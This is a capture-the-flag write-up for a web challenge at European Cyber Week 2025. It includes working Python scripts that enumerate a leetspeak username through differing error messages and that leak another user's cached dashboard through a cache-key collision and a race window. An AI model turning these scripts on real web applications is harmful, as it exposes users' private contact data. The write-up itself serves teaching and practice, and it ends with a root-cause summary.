Tacticool Bin - ECW2025
Writeup for a Hard web CTF challenge mainly focused on the web cache vulnerabilities during the European Cyber Week 2025
Overview
Challenge summary
“I only had one job! Reading Larry's message at 6:00 on this pastebin-like website.” You woke up at 9:30. Find another way to get in touch with Larry.
The application is open-source. We know:
- Larry uses his real name as a username.
- He likes l33tsp34k.
- The flag format is:
ECW{username-phone_number-domain_name_of_his_email}
1 — Username enumeration via /dashboard/<username>
In the open-source code (app.py), the route below is protected by @login_required, but it returns different flash messages depending on whether the user exists.
Key behavior:
- If the user does not exist ⇒
"Stop trying to access other users dashboards or face consequences !" - If the user exists but is not you ⇒ `"You shouldn't access another user's dashboard. =("
This gives us a clean username-existence oracle as long as we’re authenticated.
Relevant excerpt:
@app.route('/dashboard/<username>')
@cache.cached(timeout=0, unless=unauthorized)
@login_required
def dashboard(username):
user = User.query.filter_by(username=username).first()
if not user:
flash("Stop trying to access other users dashboards or face consequences !")
return redirect(url_for('errorpage'))
if user.id != current_user.id:
flash("You shouldn't access another user's dashboard. =(")
flash("User " + user.username + " has been alerted.")
return redirect(url_for('errorpage'))
return render_template('dashboard.html', name=current_user.username, email=current_user.email, phone=current_user.phone)
Brute-forcing Larry’s leetspeak username
We create any account (example: ThaySan:password) and then generate leetspeak permutations for larry. Using pyleetspeak (all combinations), we test each candidate against /dashboard/<candidate> and look for the “user exists” message.
from requests import Session
from bs4 import BeautifulSoup
from pyleetspeak.LeetSpeaker import LeetSpeaker
HOST = "challenges.challenge-ecw.eu"
PORT = 34497
URL = f"http://{HOST}:{PORT}"
USERNAME = "ThaySan"
PASSWORD = "password"
def login(session: Session, username: str, password: str):
data = {"username": username, "password": password}
session.post(f"{URL}/login", data=data, allow_redirects=False)
def get_dashboard_flash(session: Session, username: str) -> str:
html = session.get(f"{URL}/dashboard/{username}").text
return BeautifulSoup(html, 'html.parser').find('li').text
session = Session()
login(session, USERNAME, PASSWORD)
TARGET = "larry"
leeter = LeetSpeaker(
mode="basic",
get_all_combs=True,
user_changes=[("l", "L"), ("r", "R"), ("y", "Y")],
)
for candidate in leeter.text2leet(TARGET):
# If we get the “does not exist” message, keep searching
if get_dashboard_flash(session, candidate).startswith("Stop trying"):
continue
print(f"FOUND: {candidate}")
break
Output:
FOUND: L4Rry
So Larry’s username is L4Rry.
2 — Cache key collision + race condition to leak the dashboard
The dashboard route is wrapped with:
@cache.cached(timeout=0, unless=unauthorized)
This effectively makes dashboards cacheable indefinitely.
Separately, when posting a “paste/message”, the app:
- Checks for duplicate titles in
message_list - Appends to
message_list - Sleeps for 0.5s
- Writes the message content into the cache using the title as the cache key
# POST logic
if request.method == 'POST':
data = request.get_json()
for item in message_list:
if data.get('title') == item.get('title'):
return 'Title already in use !', 418
message_list.append({"title": data.get('title'), "ttl": data.get('ttl'), "creation": int(time.time())})
time.sleep(0.5)
cache.set(data.get('title'), data.get('message'), timeout=data.get('ttl'))
return "Ok"
When rendering the message list, the server iterates over message_list but pulls message bodies from the cache:
sent_list = []
for item_dict in message_list:
ttl = item_dict.get('ttl')
creation = item_dict.get('creation')
sent_list.append({
"title": item_dict.get('title'),
"message": cache.get(item_dict.get('title')),
"ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())
})
Why this matters
Flask-Caching has a well-known default for view caching keys. By default, the key is derived from the request path, typically resembling:
view/<request.path>
So Larry’s cached dashboard at /dashboard/L4Rry maps to a key like:
view//dashboard/L4Rry
Exploit primitive
If we create a paste with title = view//dashboard/L4Rry, the server will:
- Add it to
message_listimmediately - Wait 0.5s before overwriting that cache key
During that 0.5s window, when we fetch the home page (message list), the app will display:
- The entry from
message_list(our title) - But the message content from
cache.get(title)which still contains Larry’s cached dashboard HTML
That gives us a time-of-check/time-of-use style leak.
Leak Larry’s dashboard HTML : My solve script
Below is the final exploit script you provided (used as-is):
import requests
from time import sleep
# Target URL
target = "http://challenges.challenge-ecw.eu:34497"
# Create a session to maintain cookies
session = requests.Session()
# Payload with the known username
data = {
'title': 'view//dashboard/L4Rry',
'ttl': 1,
'message': "test"
}
print("Injecting payload...")
res = session.post(target + '/', headers={"Content-Type": "application/json"}, json=data)
print("Waiting 16 seconds for TTL to expire...")
sleep(16)
print("Retrieving content...")
res = requests.get(target)
if "Welcome" in res.text:
print("✓ Success! Content saved to out.html")
with open("out.html", "w") as f:
f.write(res.text)
else:
print("✗ Failed - No 'Welcome' content found")
print(f"Response length: {len(res.text)} characters")
When the exploit hits, the leaked HTML contains:
Welcome, L4Rry!Your email is Congr@tulat.on!Your phone number is 1333333337!
From Congr@tulat.on!, the email domain is tulat.on.
Final flag:
ECW{L4Rry-1333333337-tulat.on}
Root cause summary
- Information disclosure via differential error messages ⇒ user enumeration.
- Insecure cache key design (user-controlled key space overlaps with internal view cache keys).
- Race window (0.5s sleep between list update and cache write) ⇒ reliable cache read-before-overwrite.